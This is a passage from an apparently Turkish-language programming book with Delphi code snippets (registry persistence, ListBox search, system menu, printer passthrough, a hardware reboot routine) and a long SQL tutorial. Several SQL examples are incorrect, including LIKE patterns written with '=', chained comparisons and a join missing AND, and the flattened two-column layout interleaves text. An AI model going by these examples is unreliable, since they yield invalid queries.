raise ERegistryException.CreateFmt('Anahtar yaratılamadı: %s',[Name]); { Enumarated tipli değişken değerlerini teker teker dolaş } with GetTypeData(gTypeInfo)^ do
1605
for I := MinValue to MaxValue do { her küme elemanı için, bir BOOLEAN değer yaz. } Reg.WriteBool(GetEnumName(gTypeInfo, I), I in TIntegerSet(Value)); { Üst anahtara dön. } Reg.OpenKey(OldKey, False); end; {Bütün alt nesnelerin özelliklerini, alt anahtar altına yaz} procedure SaveObjToRegistry(const Name: string; Obj: TPersistent;Reg: TRegistry); var OldKey: string; begin OldKey := '\' + Reg.CurrentPath; { Nesne için bir alt anahtar aç. } if not Reg.OpenKey(Name, True) then raise ERegistryException.CreateFmt('Anahtar yaratılamadı: %s',[Name]); { Nesne özelliklerini sakla } SaveToRegistry(Obj, Reg); {Üst anahtara dön } Reg.OpenKey(OldKey, False); end; { Bir davranışın kayıt defterine saklanması. } procedure SaveMethodToRegistry(const Name: string; const Method:TMethod;Reg: TRegistry); var MethodName: string; begin { Method işaretçisi nil ise sadece boş bir karakter dizisi yaz. } if Method.Code = nil then MethodName := '' else { davranışın adını bul. } MethodName := TObject(Method.Data).MethodName(Method.Code); Reg.WriteString(Name, MethodName); end; { Tek bir özelliği kayıt defterine mevcut anahtarın altına kaydetmek için } procedure SavePropToRegistry(Obj: TPersistent; PropInfo: PPropInfo;Reg: TRegistry); begin with PropInfo^ do case PropType^.Kind of tkInteger, tkChar, tkWChar: begin { ordinal özellikleri integer olarak sakla. } Reg.WriteInteger(Name, GetOrdProp(Obj, PropInfo)); end; tkEnumeration: { enumerated değerleri kendi isimleriyle sakla. }
1606
Reg.WriteString(Name, GetEnumName(PropType^, GetOrdProp(Obj,PropInfo))); tkFloat: { floating point değerleri Double olarak sakla. } Reg.WriteFloat(Name, GetFloatProp(Obj, PropInfo)); tkString, tkLString: { Store değerler strin olarak kalsın. } Reg.WriteString(Name, GetStrProp(Obj, PropInfo)); tkVariant: { variant değerler string olarak saklansın. } Reg.WriteString(Name, GetVariantProp(Obj, PropInfo)); tkSet: { kümeler alt anahtara saklansın. } SaveSetToRegistry(Name, GetOrdProp(Obj, PropInfo), PropType^,Reg); tkClass: { sınıflar da alt sınıf olarak saklansın, özellikleri de bu anahtarın altına değer olarak yazılsın.} SaveObjToRegistry(Name, TPersistent(GetOrdProp(Obj, PropInfo)),Reg); tkMethod: { davranışlar isim olarak yazılsın. } SaveMethodToRegistry(Name, GetMethodProp(Obj, PropInfo), Reg); end; end; procedure TForm1.xxzzbtn1Click(Sender: TObject); var r:tregistry; begin r:=tregistry.create; r.openkey('f1delphi\'+form1.name,true); SaveToRegistry(form1, R); r.free; end; end.
LİSTBOX İÇERİSİNDE ARTAN ARAMA Bir listbox içerisinden seçilerek başka bir alana, örneğin bir edit kontrolüne atanacak değerlerin seçim için, artan arama yapılabilir. Artan arama , edit içerisine yazdığınız bilgiye uygun olan ListBox elemanının otomatik olarak seçili hale gelmesi demektir.Kod örneği aşağıdadır. unit incsearch; interface uses Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs, StdCtrls; type TForm1 = class(TForm) ListBox1: TListBox; Edit1: TEdit; procedure FormCreate(Sender: TObject); procedure Edit1Change(Sender: TObject);
1607
procedure Edit1KeyDown(Sender: TObject; var Key: Word; Shift: TShiftState); private { Private declarations } public { Public declarations } end; var Form1: TForm1; implementation {$R *.DFM} procedure TForm1.FormCreate(Sender: TObject); begin // ComboBox'un içine birşeyler doldurun end; procedure TForm1.Edit1Change(Sender: TObject); var S : Array[0..255] of Char; begin StrPCopy(S, Edit1.Text); with ListBox1 do ItemIndex := Perform(LB_SELECTSTRING, 0, LongInt(@S)); end; procedure TForm1.Edit1KeyDown(Sender: TObject; var Key: Word; Shift: TShiftState); begin if key=vk_return then edit1.text:=listbox1.Items[listbox1.itemindex]; end; end. Sistem menüsünün geliştirilmesi unit sysmenu; interface uses SysUtils, WinTypes, WinProcs, Messages, Classes, Graphics, Controls, Forms, Dialogs, Menus; type TForm1 = class(TForm) procedure FormCreate(Sender: TObject); private { Private declarations } public {Aşağıdaki tanım, mesaj yakalama yordamı içindir. Yeni eklenen menü elemanına tıklandığının tespiti için kullanılacaktır.} procedure WinMsgHandler(var Msg : TMsg; var Handled : Boolean); end; var Form1: TForm1;
1608
const MyItem = 100; {Herhangi bir WORD değer olabilir.} implementation {$R *.DFM} procedure TForm1.FormCreate(Sender: TObject); begin {Varolandan farklı bir mesaj yakalama yordamı kullanılacak} Application.OnMessage := WinMsgHandler; {Menüye Bir ayıraç ekleniyor.} AppendMenu(GetSystemMenu(Self.Handle, False), MF_SEPARATOR, 0, ''); {Mevcut sistem menüsünün en sonuna, Yeni menü ekleniyor} AppendMenu(GetSystemMenu(Self.Handle, False), F_BYPOSITION, MyItem, 'Yeni &Menü'); end; procedure TForm1.WinMsgHandler(var Msg : TMsg; var Handled : Boolean); begin {Eğer mesaj, sistem mesajı ise...} if Msg.Message=WM_SYSCOMMAND then if Msg.wParam = MyItem then {Menünüzün yapacağı işle ilgili kod buraya yazılacak} ShowMessage('Yenü menüye tıkladınız!!!'); end; end.
BİR TEDİT.TEXT BİLGİSİNDEKİ DEĞİŞİKLİĞİN FARKEDİLMESİ var changed:boolean; i:integer; begin changed:=false; for i:=0 to componentcount-1 do if components[i] is tedit then changed:=(components[i] as tedit).modified; if changed then showmessage('değişti'); end;
COMBOBOX BİLEŞENİNİN, İÇİNE GİRİLDİĞİNDE AÇILMASI VE KAPANMASI Sendmessage(combobox1.handle,cb_showdropdown,integer(true),0); Sendmessage(combobox1.handle,cb_showdropdown,integer(false),0);
1609
YAZICIYA DOĞRUDAN BASKI GÖNDERME İŞLEMİ unit Esc1; interface uses SysUtils, WinTypes, WinProcs, Messages, Classes, Graphics, Controls,Forms, Dialogs, StdCtrls; type TForm1 = class(TForm) Button1: TButton; procedure Button1Click(Sender: TObject); private { Private declarations } public { Public declarations } end; var Form1: TForm1; implementation uses Printers; {$R *.DFM} { "PASSTHROUGH" yapısını belirle } type TPrnBuffRec = record BuffLength : word; Buffer : array [0..255] of char; end; procedure TForm1.Button1Click(Sender: TObject); var Buff : TPrnBuffRec; TestInt : integer; s : string; begin { "PASSTHROUGH" işleminin desteklendiğinden emin ol } TestInt := PASSTHROUGH; if Escape(Printer.Handle, QUERYESCSUPPORT, sizeof(TestInt), @TestInt, nil) > 0 then begin { Baskıyı başlat } Printer.BeginDoc; { Doğrudan gönderilecek metni hazırla } s := ' Test satırı '; { Mtni Buffer'a kopyala } StrPCopy(Buff.Buffer, s);
1610
{ Buffer uzunluğunu ayarla } Buff.BuffLength := StrLen(Buff.Buffer); { Gönder} Escape(Printer.Canvas.Handle, PASSTHROUGH, 0, @Buff, nil); { Baskıyı bitir } Printer.EndDoc; end; end; end.
BİLGİSAYARI KAPATIP YENİDEN BAŞLATMA Bilgisayarı kapatıp, yeniden başlatmak için kullanılabilecek bir kod parçacığı aşağıdadır. Not : Bu kodu denemeden önce, dosyalarınızı kaydedin. asm cli @@WaitOutReady: {Meşgul- 8042 yeni bir komut için hazır olana kadar bekle} in al,64h {8042 durumunu oku} test al,00000010b { 1 nolu bit veri giriş bufferinin dolu olduğunu gösterişri } jnz @@WaitOutReady mov al,0FEh { "reset" = 8042 pin 0 } out 64h,al { PC kapanıp yeniden açılacak } End;
1611
SQL (STRUCTURED QUERY LANGUAGE) YAPISAL PROGRAMLAMA DİLİ Veri tabanı işlemleri yaparken, bilgilerin ortak özelliklerine göre sorgularının yapılmasını SQL dili ile sağlarız. SQL dili ile bir Query yani sorgulama oluşturmak oldukça basittir. SQL dilinde kullanılan belli baslı önemli komutlar aşağıda anlatılmaktadır. Bundan önce Select Komutu ile SQL de kullanılan komutları kalıp halinde yazalım, daha sonra bunları açıklayacağız. Select Tablo1.Alan1, Tablo1.Alan2, ... [ * ] From TabloAdi Where Sorgulama İfadesi Group By Gruplanacak Hücreler Order By Küçükten büyüğe yada Büyükten küçüğe Hücrelerin sıralanması Having Gruplanan yada birleştirilen kayıtların hangi kritere göre sorgulanması Select ile kullanılmayan SQL komutlarından bazıları da şunlardır : Insert Into Tablo1 (Alan1,Alan2) Values ('String İfade',Sayısal İfade ...) Delete * From Tablo1 Where Sorgulama İfadesi Update Tablo1 set Tablo1.Alan1='String İfade',Tablo1.Alan2=Sayısal İfade, ... Where Sorgulama İfadesi
SQL Komutları FROM Deyimi From deyimi sorgulanacak ve kullanılacak bilgilerin hangi tablodan alınacağını belirtir. Tablodan hangi hücrelerin içindeki bil-gilerin kullanılacağını ise; TabloAdi.Hücre1, TabloAdi.Hücre2, ... veya * jokeri ile belirleriz. Bir örnek ile daha iyi anlayacağız. Öğrenci Tablosu; ADI SOYADI NO metin[20] metin[20] sayı Örnek : Öğrenci tablosu ADI, SOYADI, NO olmak üzere 3 hücreden oluşan bir tablo olsun. SQL ile, Bu tablodan ADI ve SOYADI hücrelerini seçerek yeni bir tablo (Bu bir sorgudur{Query} ) oluşturunuz. Select Öğrenci.ADI, Öğrenci.SOYADI From Öğrenci Eğer tüm hücreleri seçin deseydik ; o zaman yazacağımız SQL cümlesi söyle olmalı idi. : Select Öğrenci.ADI, Öğrenci.SOYADI, Öğrenci.NO From Öğrenci yada Select * From Öğrenci
WHERE Deyimi Where deyimini de ; bir tablodan istediğimiz hücreleri seçerken, o tabloda bulunan kayıtlardan hangilerini, hangi kriterlere göre almak istersek kullanırız. Yani tabloda bulunan kayıtlardan hangilerini almak istiyorsak istediğimiz koşulu where deyiminden sonra kullanarak bu kayıtları elde edebiliriz. Aşağıdaki örnekleri inceleyelim... Örnek 1 : Yine Öğrenci tablosunda bulunan kayıtlardan Adi Serkan olan öğrencileri seçmemizi sağlayan SQL cümlesi şöyledir: Select * From Öğrenci Where Öğrenci.ADI = "Serkan" Örnek 2: Yada soyadında " r " harfi geçen öğrencileri Aşağıdaki SQL cümlesi ile seçeriz..: Select * From Öğrenci Where Öğrenci.SOYADI = "%r%" Örnek 3: Eğer Tabloda bulunan kayıtlardan diyelim ki; numarası 1044 ile 2866 arasında olan öğrencileri seçmek istersek Aşağıdaki SQL cümlesini kullanırız..: Select * From Öğrenci Where 1044<Öğrenci.NO<2866
GROUP BY Deyimi Group by deyimi SUM, COUNT kullanarak toplam bir sonuç ile bir tablodan istenilen kritere göre istenilen hücreler alınır ve yine group by 'dan sonra yazılan hücrelere göre gruplanır. GROUP BY isteğe bağlıdır. SELECT deyiminde SQL toplam işlevi yoksa özet değerler göz ardı edilir.
1612
Örnek 1 : Yine Öğrenci tablomuzu kullanaraktan soyadı Türkel olan öğrencileri seçerek AD, SOYAD ve NO fieldlarina göre gruplandıralım...: Select Öğrenci.AD, ögreci.SOYAD, Öğrenci.NO From Öğrenci Where Öğrenci.SOYAD='Türkel' Group By Öğrenci.AD, ögreci.SOYAD, Öğrenci.NO
ORDER BY Deyimi Order By deyimi ile de; sorgulama sonucunda bulunan kayıtlar verilen hücrelere göre, Büyükten küçüğe yada Küçükten büyüğe doğru sıralanır. Örnek 1 : Adi Serkan olan Öğrencilerin numaralarını Küçükten büyüğe doğru sıralayınız..: Select * From Öğrenci Where Öğrenci.AD='Serkan' Order By Öğrenci.NO [asc] asc yi yazmasak da burada default değer olduğu için Küçükten büyüğe doğru sıralama yapardı. Eğer büyükten küçüğe doğru sırala dese idik o zaman söyle bir SQL cümlesi yazmalıydık...: Select * From Öğrenci Where Öğrenci.AD='Serkan' Order By Öğrenci.NO Desc
HAVING Deyimi Having Deyimi de; GROUP BY yan tümcesi olan bir SELECT deyiminde hangi gruplandırılmış kayıtların görüntüleneceğini belirler. Yani GROUP BY kayıtları birleştirdikten sonra, HAVING deyimi de, HAVING yan tümcesinin koşullarını sağlayan ve GROUP BY yan tümcesi ile gruplandırılmış kayıtları görüntüler. Örnek 1 Öğrenci tablosundan AD, SOYAD ve NO fieldlarini alıp bunları gruplayan ve sonra bunları da numarası 1000 ile 2000 arasında olan kayıtlara göre listeleyen SQL cümlesini yazınız..: Select Öğrenci.AD, Öğrenci.SOYAD, Öğrenci.NO From Öğrenci Group By Öğrenci.AD, Öğrenci.SOYAD, Öğrenci.NO Having 1000<Öğrenci.NO<2000
INSERT INTO Deyimi Insert Into Deyimi bir tabloya bir veya daha çok sayıda kayıt eklemeye yarayan SQL komutudur. Buna ekleme sorgusu da denir. Esas kullanılma kalıbı Aşağıdaki gibidir..: Çok sayıda kayıt ekleme sorgusu: INSERT INTO TabloAdi [(alan1[, alan2[, ...]])] [IN disveritabani] SELECT [kaynak.]alan1[, alan2[, ...] FROM tabloifadesi Tek kayıt ekleme sorgusu: INSERT INTO TabloAdi [(alan1[, alan2[, ...]])] VALUES (deger1[, deger2[, ...]) Örnek 1 : Öğrenci tablosuna AD = "Serkan" SOYAD = "Türkel" NO = 4683 bilgilerini ekleten SQL cümlesini yazın..: Insert Into Öğrenci (AD,SOYAD,NO) Values('Serkan','Türkel',4683)
DELETE Deyimi Delete deyimini bir tablodan bir yada daha fazla kayıt silmek için kullanırız. Aşağıdaki gibi bir yazılış kalıbı vardır..: DELETE [Tablo.*] FROM Tablo WHERE sorgulama ifadesi Örnek 1 : Yine Öğrenci tablosundan numarası 4556 olan öğrencinin kaydını silen SQL cümlesiniz yazınız..: Delete * From Öğrenci Where Öğrenci.NO=4556
UPDATE Deyimi Belirtilen kriterlere göre tablodan ilgili kayıt/kayıtları alarak değerlerini değiştirmeye yarayan SQL komutudur. Kullanılış kalıbı Aşağıdaki gibidir..: UPDATE Tablo SET yenideger WHERE Sorgulama İfadesi Örnek 1 : Öğrenci tablosuna eklediğimiz 4683 numaraları Serkan Türkel 'in adini ve soyadını değiştirelim. Adi = "Ali", soyadı = "Sert" olsun. SQL cümlesini yazın...: UPDATE Öğrenci SET Öğrenci.AD = 'Ali',Öğrenci.SOYAD = 'Sert' Where Öğrenci.NO = 4683 SQL Fonksiyonları
1613
SQL yazılımında sorgulama yapılırken kullanılabilecek aritmetik fonksiyonlar tabloda verilmiştir... SUM Yapılan sorgulamada kriteri karşılayan sayısal bilgilerin toplamını verir. AVG Yapılan sorgulamada kritere karşılık gelen sayısal bilgilerin aritmetik ortalamasını alır. COUNT Yapılan sorgulamada kritere uyan sayısal bilgilerin adetini hesaplar. MAX Yapılan sorgulamada kritere uyan sayısal bilgilerin en büyük değerini yakalar. MIN Yapılan sorgulamada kritere uyan sayısal bilgilerin en küçük değerini yakalar. STDEV Yapılan sorgulamada kritere uyan sayısal bilgilerin standart sapmasını alır. STDEVP Yapılan sorgulamada kritere uyan sayısal bilgilerin istatistiksel standart sapmasını alır. VAR Yapılan sorgulamada kritere uyan sayısal bilgilerin varyansını alır. VARP Yapılan sorgulamada kritere uyan sayısal bilgilerin istatistiksel varyansını alır.
1614
SQL SQL (Structured Query Language) veri tabanlarındaki verileri işlemek için kullanılan yapısal sorgulama dilidir. Bu dil yardımıyla veritabanlarındaki tüm işlemler yapılabilir. Backup almadan tutunda bir tabloya veri girmeye varıncaya kadar herşey. SQL'i şu anda piyasada bulunan hemen hemen her veritabanında kullanabilirsiniz. SQL'de her veritabanında kullanılan ortak ifadeler olmasına karşın, veritabanlarının kendine özgü ifadeleri de vardır. Mesela Oracle’da SQL ile yapabildiğiniz bazı şeyleri başka veritabanlarında yapamayabilirsiniz. SQL temel olarak şu ifadelerle kullanılır. SELECT, FROM, WHERE, ORDER BY, GROUP BY, HAVING, UPDATE, DELETE, INSERT. Burada kullandığımız SQL cümleleri ISCI adlı bir tablo üzerine yazılmıştır. Alanlar. ISCI_NO
ISCI_ADI
YAS
GIRIS_TARIHI
MAAS
SELECT: Tablodan seçmek istediğimiz alanları belirtmek için kullanılır. Eğer tablodan tüm alanları seçmek istiyorsak o zaman alan isimleri yerine * işareti konur. FROM: Üzerinde işlem yapılacak tablo/tabloları belirtmek için kullanılır. WHERE: Tablodan eğer tüm kayıtları değilde istediğimiz bazı kayıtları elde etmek istiyorsak, örnekte maaşı 250 milyondan fazla olan işçilerin numarası ve adi gibi, o zaman buraya istediğimiz kriteri yazarız. SELECT ISCI_NO, ISCI_ADI FROM ISCI WHERE MAAS>250000000 DISTINCT: Birbirinin aynı olan satırların listelenmemesi için bu ifade kullanılır. Mesela ISCI tablosunda bulunan birbirinin aynı olmayan isimleri listelemek istersek SELECT DISTINCT ISCI_ADI FROM ISCI şeklinde bir SQL ifadesi yazarız. IN: Koşul belirtirken kullanırız. Mesela ismi AHMET, ALİ veya MUSTAFA olan işçilerin bilgilerini listelemek için SELECT * FROM ISCI WHERE ISCI_ADI=’AHMET’ OR ISCI_ADI=’ALİ’ OR ISCI_ADI=’MUSTAFA’ şeklinde bir ifade kullanırız. Bunun yerine SELECT * FROM ISCI WHERE ISCI_ADI IN (’AHMET’ ,’ALİ’ ,’MUSTAFA’) ifadesini de kullanabiliriz. Yani listenin içindeki herhangi bir değerin bulunması kayıtın seçilmesi için yeterlidir. LIKE: Eğer aradığımız kayıtın bulunması için tam bir karşılaştırma yapamıyorsak o zaman kullanırız. Mesela isminin baş harfi A ile başlayan isimleri bulmak için SELECT * FROM ISCI WHERE ISCI_ADI LIKE ‘A%’ ifadesi kullanılır. % işareti uzunluğu önemsiz olmak üzere yazıldığı yere her türlü ifade gelebilir anlamındadır. ? işareti ise bir karakter olmak üzere her türlü değeri alabilir anlamındadır. Mesela isminin sondan üçüncü harfi A, ve son harfi Z olan kayıtları listelemek istersek sondan ikinci harfin ne olduğu önemli değildir. O zaman o harf yerine aşağıda görüldüğü üzere ? işaretini kullanırız.
1615
SELECT * FROM ISCI WHERE ISCI_ADI LIKE ‘%A?Z’ ifadesi kullanılır. BETWEEN: Koşul belirtirken iki değer arasını belirtmek için kullanılır. Örnek: Yaşı 30 ile 40 arasındaki işçilerin kayıtlarını listelemek için SELECT * FROM ISCI WHERE YAS BETWEEN 30 AND 40 ifadesi kullanılır. Bunu aynı zamanda aşağıdaki ifade ile de yapabilirsiniz. BETWEEN yazım kolaylığı sağlar. SELECT * FROM ISCI WHERE YAS>=30 AND YAS<=40 SUM: Seçilen değerlerin toplamını bulur. İşçilerin aldığı toplam ücreti görmek için SELECT SUM(UCRET) FROM ISCI ifadesi kullanılır. MAX, MIN, AVG: Verilen değerin en büyüğünü, en küçüğünü ve ortalamasını bulur. 1999 yılında giren işçilerin en yüksek ücretinin, en düşük ücretinin ve ortalamasının ne kadar olduğunu öğrenmek istersek aşağıdaki ifadeyi kullanırız. SELECT MAX(UCRET), MIN(UCRET), AVG(UCRET) FROM ISCI WHERE GIRIS_TARIHI>’01.01.1999’ MAX en büyük değeri, MIN en küçük değeri, AVG ise seçilen değerlerin ortalmasını bulur. ORDER BY: Tablodan seçtiğimiz kayıtları sıralamak için kullanılır. Yukardaki örnekte isimleri alfabetik sıra ile görmek istersek SELECT DISTINCT ISCI_ADI FROM ISCI ORDER BY ISCI_ADI yazarız. Eğer sıralamayı tersine çevirmek istersek SELECT DISTINCT ISCI_ADI FROM ISCI ORDER BY ISCI_ADI DESC yazarız. GROUP BY: Genelde istatistik amaçlar için kullanılır. Mesela hangi tarihte kaç işçinin işe alındığını bulmak için SELECT GIRIS_TARIHI,COUNT(*) FROM ISCI GROUP BY GIRIS_TARIHI yazmanız yeterli olacaktır. Bu ifade size gün bazında kaç işçinin işe alındığını gösterecektir. Eğer belli bir tarihten önce ya da sonrasını isterseniz veya sadece sayının 10’dan büyük olduğu günleri görmek isterseniz o zaman ifadeyi şu şekilde yazmak gerekir. SELECT GIRIS_TARIHI,COUNT(*) FROM ISCI WHERE GIRIS_TARIHI>’01.01.1999’ GROUP BY GIRIS_TARIHI HAVING COUNT(*)>10 HAVING, grup fonksiyonlarının kriterleri için kullanılır. SUM, COUNT vb. gibi. UPDATE: Tabloda bulunan bir istediğiniz bir veya daha fazla alanın güncellenmesi amacıyla kullanılır. Mesela işçilerin maaşlarına % 20 zam yapıldığını düşünürsek aşağıdaki ifade ile bunu tabloda gerçekleştirebiliriz. UPDATE ISCI SET MAAS=MAAS*1.2 Eğer maaşlarla birlikte aldıkları primleri de %20 oranında artırmak isterseniz UPDATE ISCI SET MAAS=MAAS*1.2 , PRIM=PRIM*1.2 şeklinde bir ifade kullanılır. Aynı zamanda WHERE ifadesini kullanarak sadece belli kayıtlar üzerinde güncelleme yapabilirsiniz. DELETE: Tabloda bulunan kayıtları silmek için kullanılır. Eğer DELETE FROM ISCI
1616
derseniz tüm kayıtları gönderirsiniz. DELETE ifadesini kullanırken dikkatli olun. Buradada yine WHERE ifadesini kullanarak sadece belli kritere uyan kayıtların silinmesini sağlayabilirsiniz. Kötü bir örnek ama olsun, patron 45 yaşından büyük işçileri işten attı (burası Türkiye, olmaz demeyin) ve kayıtlarının silinmesi isteniyor. O zaman DELETE FROM ISCI WHERE YAS>45 ifadesi kullanılır. INSERT: Tablolara veri girişi yapmak amacıyla kullanılır. INSERT INTO ISCI (ISCI_NO,ADI,SOYADI) VALUES (1000,’AHMET’,’SAVAŞ’); Eğer giriş yaparken tablonun bütün alanları kullanılacaksa alan isimlerini vermeye gerek yoktur. Not: UPDATE, DELETE ve INSERT ifadelerini kullanırken dikkatli olmalısınız. Eğer SQL tabanlı bir veri tabanı kullanıyorsanız bu ifadeleri veritabanlarının kendi tool’ları üzerinde kullanın. Çünkü Delphi ile gelen SQL Explorer’da işaretine basmayı unutursanız yaptığınız işlemin geri dönüşü olmayabilir. Yani en son yaptığınız işlemi Rollback yapamazsınız ve eğer gerçek veritabanı üzerinde yaptıysanız işlemi başınız bayağı ağrıyabilir veya o iş yerinde yazdığınız son SQL ifadesi olabilir. :-)) İKİ TABLODAN BİRDEN KAYIT SEÇMEK: İşçilerin kimlik bilgilerinin ISCI_KIMLIK tablosunda tutulduğunu kabul ederek bizden ÇORUM doğumlu olanların listesinin istendiğini varsayalım. Tablolar birbirine ISCI_NO alanı üzerinden ilişkili olsun. SELECT A.ISCI_NO, A.ISCI_ADI, B.DOGUM_YERI FROM ISCI A, ISCI_KIMLIK B WHERE B.DOGUM_YERI=’ÇORUM’ AND A.ISCI_NO=B.ISCI_NO şeklinde bir ifade yazarak listemizi elde edebiliriz. Burada WHERE koşuluna yazdığınız sıranın pek bir önemi yoktur. Her şartta aynı sonuçları elde ederseniz. Fakat performans açısından biraz farkeder. Yukardaki ifade SELECT A.ISCI_NO, A.ISCI_ADI, B.DOGUM_YERI FROM ISCI A, ISCI_KIMLIK B WHERE A.ISCI_NO=B.ISCI_NO B.DOGUM_YERI=’ÇORUM’ ifadesinden daha hızlı çalışır. Çünkü ilk ifadede önce doğum yeri ÇORUM olan kayıtlar seçilir daha bu kayıtlara işçi tablosu birleştirilir. Sonraki ifadede ise önce tüm kayıtlar birleştirilir, bunların arasından doğum yeri ÇORUM olanlar seçilir. DISTINCT
TEKRARSIZ
TANIM: SQL’de tablo içinde birbirinin aynı datalar bulunabilir.Aynı satırların listeleme esnasında bir kez yazılması ÖRNEK: 1)Par _sat dosyasından sat_no’ları tekrarsız olarak listelenecektir. ORDER BY
SIRALA
TANIM: Tablodaki sütunlardan ,belirli bir sütuna göre listelemek için SEÇ komutuna, SIRALA eklenir. ÖRNEK: 1)Personel dosyasından,sicil,ad,soyad,brüt sütunlarını seç ve brüt(maaşa)göre büyükten küçüğe sırala. SELECT sicil,ad,soyad,brüt
SEÇ sicil,ad,soyad,brüt
FROM personel
GELİŞ personel
ORDER BY brüt ASC; DESC
SIRALA brüt B-K;
Küçükten büyüğe sırala
ASC
Büyükten küçü ğe sırala
İİ)BİRDEN ÇOK ALANA GÖRE SIRALAMA: TANIM:Bir tablo içinde ,birden fazla sütundan aynı anda sıralamak için kullanılır. ÖRNEK 1)Personel dosyasından seçilen sütunlarını aynı anda hem ad,hem de otomatik olarak sıralar. SELECT sicil,ad,soyad,brüt
SEÇ sicil,ad,soyad,brüt
1617
FROM personel
GELİŞ personel
ORDER BY ad,brüt;
SIRALA ad,brüt;
ÖRNEK 2)Personel tablosundan seçili sütunları öncelik adda olmak üzere (B-K) adı bozmadan soyadı (K-B) sıralı listeler. SELECT sicil,ad,soyad,brüt
SEÇ sicil,ad,soyad,brüt
FROM personel
GELİŞ personel
ORDER BY ad ASC,soyad DESC,
SIRALA ad B-K,soyad K-B,
brüt ASC;
brüt B-K;
veya; SELECT sicil,ad,soyad,brüt
SEÇ sicil,ad,soyad,brüt
FROM personel
GELİŞ personel
ORDER BY ad,soyad DESC,brüt;
SIRALA ad,soyad K-B,brüt;
DESC’li durumda yanına yazıp belirtilir,yazılmazsa ASC direct kabul edilir. KOŞULA BAĞLI OLARAK LİSTELEME: WHERE OLAN TANIM:Verilen koşulu sağlayanlar listelenir.İki veri birbiriyle karşılaştırılmaktadır. Karşılaştırılan verilerin türü aynı olmalıdır. SELECT * SEÇ * FROM personel GELİŞ personel WHERE brüt > 5000000; OLAN brüt > 5000000; KARŞILAŞTIRMA OPERATÖRLERİ: OPERATÖR ANLAMI < ...den daha küçük > ...den daha büyük = Eşit <= Küçük veya eşit >= Büyük veya eşit <> Eşit değil != Eşit değil !< ...den küçük değil !> ...den büyük değil ÇEŞİTLİ VERİ TİPLERİ İÇİN BASİT SORGULAMALAR: i)NÜMERİK VERİ TİPLERİ: ÖRNEK: Maaşı 8000000TL’den fazla olmayan personeli listele. SELECT *
SEÇ *
FROM personel
GEL İŞ personel
WHERE brüt <= 8000000
OLAN brüt <= 8000000;
ii)KARAKTER VERİ TİPLERİ (CHAR): Karakter çift veya tek tırnak ile gösterilir. ÖRNEK: Adı Ali olmayan personele ait kayıtları listele. SELECT *
SEÇ *
FROM personel
GELİŞ personel
WHERE ad <> “Ali”;
OLAN ad <> “Ali”;
1618
İİİ)TARİH VERİ TİPİ: Tarih veri tipleri { } sembolleri içinde yazılır. ÖRNEK: Hangi personelin doğum tarihi 1960 yılından daha öncedir? SELECT *
SEÇ *
FROM personel
GEL İŞ personel
WHERE dog_tar <={12/31/59}
OLAN dog_tar <={12/31/59}; MANTIKSAL (LOJİK) VERİ TİPİ:
Mantıksal veriler için mümkün olabilen sadece iki değer sözkonusudur.DOĞRU D(TRUE T) , YANLIŞ Y (FALSE F) ile simgelenir. ÖRNEK: Personel tablosunda personelin cinsiyetini belirten cins adlı alan mantıksal(logical) olarak tanımlanmıştır.Cinsiyeti erkek olanları D,kadın olanları y ile tanımlarsak erkek olanları listele. SELECT *
SEÇ *
FROM personel WHERE cins = .T.;
GELİŞ personel OLAN cins =.D.;
BİRDEN ÇOK KOŞULA DAYALI SORGULAMALAR: (NOT,AND,OR) TANIM:Mantıksal operatörlerin yardımı ile birden çok koşulun gerçekleştirmesine bağlı olarak ifade edilebilecek (karmaşık yada birleşik koşullu listelemeleri gerçekleştirilmektedir.) AND VE ÖRNEK:Maaşı 5000000’dan fazla olan ve cinsiyeti erkek olan personelin listelenmesi istenir yani iki koşul verilmektedir ve ikisininde olması istenir. SELECT * SEÇ * FROM personel GELİŞ personel WHERE brüt >5000000 AND cins =.T.; OLAN brüt > 5000000 AND cins =.D. NOT DEĞİL OR VEYA ÖRNEKLER: i)Doğum tarihi 1960’dan önce olan maaşı 6000000 – 10000000 arasındaki bayan personelin listele. SELECT * SEÇ * FROM dog_tar < {01/01/60} AND GELİŞ dog_tar < {01/01/60} VE brüt > = 6000000 AND brüt < =10000000 brüt > = 6000000 VE brüt < =10000000 AND cins = .F.; VE cins =.Y.; İİ)Satış bölümüyle muhasebe bölümündekiler kimlerdir? (Satış bölümünün böl_no’sunun 1 ve muhasebe bölümünün böl_no’sunun 2 olduğu varsayılmaktadır.) SELECT * SEÇ * FROM personel GELİŞ personel WHERE bol_no =1 OR bol_no = 2; OLAN bol_no = 1 VEYA bol_no =2; İİİ)Bölümü Satış yada Muhasebe olamayan 1960’dan sonra doğmuş bayan personeli listele. 1.YAZILIM: SELECT * SEÇ * FROM personel GELİŞ personel WHERE NOT (böl_no =1 OR OLAN DEĞİL (böl_no =1 VEYA böl_no =2) AND dog_tar > ={01/01/60} böl_no =2)VE dog_tar >={01/01/60} AND cins=.F.; VE cins=.Y.; 2.YAZILIM: SELECT * SEÇ * FROM personel FROM personel WHERE böl_no <> 1 AND OLAN böl_no <> 1 VE böl_no <> 2 AND dog_tar > ={01/01/60} böl_no <> 2 AND dog_tar > = {01/01/60} AND cins =.F.; VE cins =.Y.; BİR VERİ KÜMESİNDE ARAMA –IN OPERATÖRÜ IN
İÇİNDE
1619
“IN” operatörü DEĞİL(NOT) ile kullanılılabilir. ÖRNEK:i) Bölümü 1,2,3 olmayan personel kimlerden oluşmaktadır? SELECT * SEÇ * FROM personel GELİŞ personel WHERE bol_no NOT IN (1,2,3); OLAN böl_no DEĞİL İÇİNDE (1,2,3); ÖRNEK:ii) Böl_no’su 1,2 yada 3 olan personeli listele. SELECT * SEÇ * FROM personel GELİŞ personel WHERE böl_no = 1 OR böl_no= 2 OR OLAN böl_no =1 VEYA böl_no =2 VEYA böl_no=3; böl_no = 3; Bu örneğin IN ile yapılmış şekli daha kısadır. SELECT * SEÇ * FROM personel GELİŞ personel WHERE NOT böl_no IN (1,2,3); OLAN DEĞİL böl_no İÇİNDE (1,2,3); ARALIK SORGULAMA SÖZCÜĞÜ: BETWEEN ARASINDA ÖRNEK:Maaşı 5- 10 milyon arasında olan personel kimlerdir? SELECT * SEÇ * FROM personel GELİŞ personel WHERE brüt > =5000000 AND OLAN brüt > =5000000 VE brüt < = 10000000; brüt < = 10000000; BETWEEN (ARASINDA) komutu ile daha kısa olacaktır. SELECT * SEÇ * FROM personel GELİŞ personel WHERE brüt BETWEEN 5000000 OLAN brüt ARASINDA 5000000 AND 10000000; VE 10000000; KARAKTER TÜRÜ BİLGİ İÇİNDE ARAMA YAPMA –LIKE SÖZCÜĞÜ: 